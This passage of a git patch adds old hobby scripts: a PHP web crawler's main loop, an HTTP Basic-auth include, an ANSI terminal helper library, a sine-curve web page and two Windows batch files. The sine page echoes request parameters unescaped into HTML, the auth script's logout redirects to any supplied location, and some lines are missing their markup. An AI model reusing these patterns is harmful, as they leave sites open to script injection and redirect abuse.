return(0); + $file_url = explode('?', $url, 2); $file_url = $file_url[0]; + if(in_array($file_url, $GLOBALS['history'])) return(0); + return(1); +} + + +///CODE////////////////////// +//Init +if($restore && is_file($file)) { //Load last url as seed + $urls[1]=$seed; //original seed as backup (if no urls found at restored page) + if($debug) echo("!Restoring: "); + $rest = fopen($file, 'r'); + while(!feof($rest)) { + $seed = $new; + $new = fgets($rest); + } + fclose($rest); + $seed = trim($seed); + if($debug) echo($seed."\n"); + $urls[0]=$seed; + $seed=$urls[1]; +} + +if($delete_url_db) @unlink($file); +ini_set('default_socket_timeout',$socket_timeout); +set_time_limit($time_limit); +ini_set('memory_limit', $memory_limit); + +//Loop +if($debug) { $u = 0; $c = 0; $t = time(); } +$history[0] = ''; +$fp = fopen($file, 'a+'); +while(true) { //MAIN L00P + if(sizeof($urls) <= 0) { + $urls=''; + $urls[0]=$seed; + if($buffer_increase) $max_urls++; //Increase size of buffer by one + if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n"); + } + + //Get URL from buffer, download few bytes and write down URLs to array: + $url = array_shift($urls); + if($debug) echo("-Parsing: $url\n"); + if(!$use_curlbin) { $page = @file_get_contents($url, false, null, 0, $max_size); } + else { $page = shell_curl_get($url, $socket_timeout, $max_size); } + preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode($page), $new_urls); + $new_urls = $new_urls[0]; + + foreach($new_urls as $new_url) { //Process grabed URLs + if($debug) $c++;///Debug + if(check_crawl_url($new_url)) { + echo($new_url."\n"); + fwrite($fp, $new_url."\n"); + $file_url = explode('?', $new_url, 2); $file_url = $file_url[0]; + array_push($history, $file_url); + while(sizeof($history) > $history_max) @array_shift($history); + if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); } + else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); } + if($debug) { ///Debug Block + $u++; + $uspeed = round($u/(time()-$t+1), 2); + $cspeed = round($c/(time()-$t+1), 2); + $time = round((time()-$t)/60, 1); + $buffered = sizeof($urls); + $historied = sizeof($history); + $memory = round(memory_get_usage()/1000000, 2); + echo("+$u URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s; Memory used: $memory/$memory_limit\n"); + } + } + } + $new_urls = ''; //Memory cleanup +} + +##EOF diff --git a/php/http_auth.phps b/php/http_auth.phps new file mode 100755 index 0000000..c070715 --- /dev/null +++ b/php/http_auth.phps @@ -0,0 +1,74 @@ +harvie.ath.cx'; +$banner = "Harvie's PHP HTTP-Auth script (v$ver)"; +$hbanner = "
$banner\n$link\n"; +$cbanner = "\n"; +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//MANUAL///////////////////////////////////////////////////////////////////////////////////////////////////////// +/* HOWTO + * To each file, you want to lock add this line (at begin of first line): + * + * This file have to be php script (if it's html, simply rename it to .php) + * Server have to run PHP (not CGI). + * You need HTTP Basic auth enabled on server and in php.ini + */ +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// +////CODE///////////////////////////////////////////////////////////////////////////////////////////////////////// + function send_auth_headers($realm='') { + Header('WWW-Authenticate: Basic realm="'.$realm.'"'); + Header('HTTP/1.0 401 Unauthorized'); + } + + function check_auth($PHP_AUTH_USER, $PHP_AUTH_PW) { //Check if login is succesfull (U can modify to use DB, or anything else) + return (($PHP_AUTH_USER == $GLOBALS['user']) && ($PHP_AUTH_PW == $GLOBALS['passwd'])); + } + + function unauth() { //Do this when login fails + $cbanner = $GLOBALS['cbanner']; + $hbanner = $GLOBALS['hbanner']; + die("$cbanner401 - Forbidden\n

401 - Forbidden

\nLogin...\n$hbanner"); //Show warning and die + die(); //Don't forget!!! + } + +//Back-Compatibility +if(isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_PW'] != '') $PHP_AUTH_USER = $_SERVER['PHP_AUTH_USER']; +if(isset($_SERVER['PHP_AUTH_PW']) && $_SERVER['PHP_AUTH_PW'] != '') $PHP_AUTH_PW = $_SERVER['PHP_AUTH_PW']; + +//Logout +if(isset($_GET['logout'])) { //script.php?logout + if(isset($PHP_AUTH_USER) || isset($PHP_AUTH_PW)) { + Header('WWW-Authenticate: Basic realm="'.$realm.'"'); + Header('HTTP/1.0 401 Unauthorized'); + } else { + if($_GET['logout'] != '') $location = $_GET['logout']; + if(trim($location) != '401') Header('Location: '.$location); + die("$cbanner401 - Log out successfull\n

401 - Log out successfull

\nContinue...\n$hbanner"); + } +} + +if($require_login) { + if(!isset($PHP_AUTH_USER)) { //Storno or first visit of page + send_auth_headers($realm); + unauth(); + } else { //Login sent + + if (check_auth($PHP_AUTH_USER, $PHP_AUTH_PW)) { //Login succesfull - probably do nothing + } else { //Bad login + send_auth_headers($realm); + unauth(); + } + + } +} +//Rest of file will be displayed only if login is correct + diff --git a/php/term.phps b/php/term.phps new file mode 100755 index 0000000..3523095 --- /dev/null +++ b/php/term.phps @@ -0,0 +1,62 @@ +#!/usr/bin/php += 0) { echo("\033[".trim($atr1).';'.trim($atr2).'m'); } + else { echo("\033[".trim($atr1).'m'); } +} +//Screen clearing +function term_cls() { echo("\033[2J"); } //Clear screen +function term_free_line() { echo("\033[K"); } //Delete line from cursor to end +//Movement +function term_return() { echo("\r"); } //Move cursor to 1st col +function term_tab() { echo("\t"); } //Print TAB +function term_newline() { echo("\n"); } //Move cursor to next line +function term_up($n) { echo("\033[".$n.'A'); } //Move cursor $n rows up +function term_down($n) { echo("\033[".$n.'B'); } //Move cursor $n rows down +function term_right($n) { echo("\033[".$n.'C'); } //Move cursor $n cols right +function term_left($n) { echo("\033[".$n.'D'); } //Move cursor $n cols left +//Position +function term_pos($row, $col) { echo('\033['.$row.';'.$col.'H'); } //Move cursor at $row and $col +function term_fpos($row, $col) { echo('\033['.$row.';'.$col.'f'); } //Move cursor at $row and $col +//Position saving +function term_pos_save() { echo("\033[s"); } //Save cursor possition (maybe not supported) +function term_pos_restore() { echo("\033[u"); } //Restore cursor possition (maybe not supported) +//Info about terminal +function term_name() { return getenv('TERM'); } //Returns terminal name as string +function term_color_name() { return getenv('COLORTERM'); } //Returns color terminal name as string +function term_shell() { return getenv('SHELL'); } //Returns running shell as string +function term_directory() { return getenv('PWD'); } //Returns working directory as string +function term_language() { return getenv('LANG'); } //Returns local settings (langue.codepage) as string +//Showcase +function term_demo() { //Print demonstration + term_font(); + echo("DEMOnstration of PHPTerm for Unixs' terminals\n". + term_name().' - '.term_color_name().' ('.term_shell(). + ")\n\t\t\t\t<-Harvie 2oo7\n\n"); + for($i = 0; $i <= 8; $i++) { + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + term_font(); + for($y = 40; $y <= 47; $y++) { + term_font($y); echo("A"); + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + } + term_font(); + echo("\n"); + } + term_font(); echo("\n"); +} + + +//term_demo(); \ No newline at end of file diff --git a/php/websin/websin.php b/php/websin/websin.php new file mode 100755 index 0000000..4098d8b --- /dev/null +++ b/php/websin/websin.php @@ -0,0 +1,112 @@ +SinusCurve - (c) Harvie 2oo6 + + + +

f:Y = sin(X)

+ +
+
+Settings:

+X-Min: = First X
+X-Max: = Last X
+Step: = Increase X by this every line.

+ +Y-Offset: = Displacement on Y (0 = half sinewave; 1.1 = whole sinewave)
+Width: = Y Zoom
+Zoom: = X Zoom (Every line will be printed this much times.)

+ +Outline: = Curve outline (try: "#")
+Inlay: = Curve inlay (try: ":")

+ + +Tips:
+Press CTRL+A
+Press CTRL and try to roll MouseWheeeel...
+Look at source code of this webpage ;)
+

+ + +
+
+
= reset, then it will be reseted to zero
+$zoom = 1;      //1 //This will repeat every line few times
+$offset = 1.1;    //1.1 //1 //0 -> Zero offset will draw only half of sin curve.
+$width = 35;     //20 //35 //40 //This will stretch every line.
+$sleep = "0";   //15000 - Wait between lines in microseconds
+$line = (" ");     // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).
+$endline = ("+
\n"); // "#
\n" // ".
\n" //chr ( 219 )."
\n" //This is the string, that will be printed at end of every line (curve outline). + +//Read settings from form: +if ($_GET["start"] != "") { + $start = $_GET["start"];} +if ($_GET["reset"] != "") { + $reset = $_GET["reset"];} +if ($_GET["step"] != "") { + $step = $_GET["step"];} + +if ($_GET["offset"] != "") { + $offset = $_GET["offset"];} +if ($_GET["width"] != "") { + $width = $_GET["width"];} +if ($_GET["zoom"] != "") { + $zoom = $_GET["zoom"];} + +if ($_GET["outline"] != "") { + $endline = ($_GET["outline"]."
\n");} +if ($_GET["inlay"] != "") { + $line = $_GET["inlay"];} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]
\n
\n"); +echo (" | y
\n"); +echo ("-+----------------------------------------------------------------------------->-------> Y >
\n"); +echo ("x|
\n"); +echo (" V

\n\n"); + +//sleep(2); + +$pos = $start; +while(1) { + + //usleep($sleep); //Wait in microseconds + + $znaku = ((sin($pos) + $offset) * $width); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + $pos = ($pos + $step); + if ($pos >= $reset) { + $pos = 0; + die(); + } + +} +?>
diff --git a/php/websin/websin.phps b/php/websin/websin.phps new file mode 120000 index 0000000..b823446 --- /dev/null +++ b/php/websin/websin.phps @@ -0,0 +1 @@ +websin.php \ No newline at end of file diff --git a/windows-batch/enable_ipv6.bat b/windows-batch/enable_ipv6.bat new file mode 100755 index 0000000..5f97e21 --- /dev/null +++ b/windows-batch/enable_ipv6.bat @@ -0,0 +1,17 @@ +@echo off + +echo Enabling IPv6 over Teredo tunnel support... +echo You will need at least Windows XP with SP2 for this! +%SystemRoot%\system32\netsh interface ipv6 install +%SystemRoot%\system32\netsh interface ipv6 set teredo client + +echo Now you can check your settings... +%SystemRoot%\system32\ipconfig + +echo Done! +echo If failed, you will need at least Windows XP with SP2 for this! +pause + +rem DISABLE: +rem %SystemRoot%\system32\netsh interface ipv6 uninstall + diff --git a/windows-batch/vypis_soubory.bat b/windows-batch/vypis_soubory.bat new file mode 100755 index 0000000..bc2fa24 --- /dev/null +++ b/windows-batch/vypis_soubory.bat @@ -0,0 +1,11 @@ +@echo off +set outfile=.\seznam_souboru.txt +@%SystemRoot%\system32\chcp 1250 >nul +echo Probiha ziskavani informaci... +echo Vypis souboru od uzivatele %USERNAME% > %outfile% +%SystemRoot%\system32\tree /F /A >> %outfile% +%SystemRoot%\system32\notepad %outfile% +echo HOTOVO!!! Vypis najdes v souboru %outfile% +echo Stiskni enter pro ukonceni... +pause >nul + -- 2.30.2